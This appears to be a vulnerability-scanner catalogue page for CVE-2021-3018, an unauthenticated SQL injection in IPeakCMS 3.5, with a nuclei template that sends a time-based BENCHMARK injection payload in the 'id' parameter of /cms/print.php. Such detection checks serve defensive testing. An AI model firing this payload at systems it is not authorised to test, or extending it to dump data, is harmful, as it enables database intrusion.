IPeakCMS 3.5 - SQL Injection

criticalseverity

9.8CVSS score

18.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

ipeak Infosystems ibexwebCMS 3.5 contains an unauthenticated Boolean-based SQL injection caused by unsanitized 'id' parameter in /cms/print.php, letting attackers execute arbitrary SQL commands, exploit requires no authentication.

Impact

Attackers can execute arbitrary SQL commands, potentially leading to data disclosure, data tampering, or full database compromise.

Fix

Apply the latest security patches or update to a version that fixes this vulnerability.

How to confirm it

Send: GET /cms/
Positive when: contains_all(body, "ipeak", "webCMS-3.5") and status_code == 200
Send: @timeout: 30s
Positive when: duration>=8 and status_code == 200 and contains(body,"onLoad=\"print();\"")

Run it with nuclei: nuclei -id CVE-2021-3018 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-3018

info:
  name: IPeakCMS 3.5 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    ipeak Infosystems ibexwebCMS 3.5 contains an unauthenticated Boolean-based SQL injection caused by unsanitized 'id' parameter in /cms/print.php, letting attackers execute arbitrary SQL commands, exploit requires no authentication.
  reference:
    - https://github.com/M4DM0e/m4dm0e.github.io/blob/gh-pages/_posts/2020-12-07-ipeak-cms-sqli.md
    - https://m4dm0e.github.io/2020/12/07/ipeak-cms-sqli.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3018
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data disclosure, data tampering, or full database compromise.
  remediation: |
    Apply the latest security patches or update to a version that fixes this vulnerability.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-3018
    epss-score: 0.18566
    epss-percentile: 0.97279
    cwe-id: CWE-89
    cpe: cpe:2.3:a:ipeak:ipeakcms:3.5:*:*:*:*:*:*:*
  metadata:
    verified: false
    max-request: 2
    vendor: ipeak
    product: ipeakcms
    fofa-query: body="ipeak" && body="3.5"
  tags: cve,cve2021,ipeakcms,cms,sqli,unauth,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /cms/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "ipeak", "webCMS-3.5")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /cms/print.php?id=1%20AND%207334=BENCHMARK(8000000,MD5(0x73636a72)) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=8'
          - 'status_code == 200'
          - 'contains(body,"onLoad=\"print();\"")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from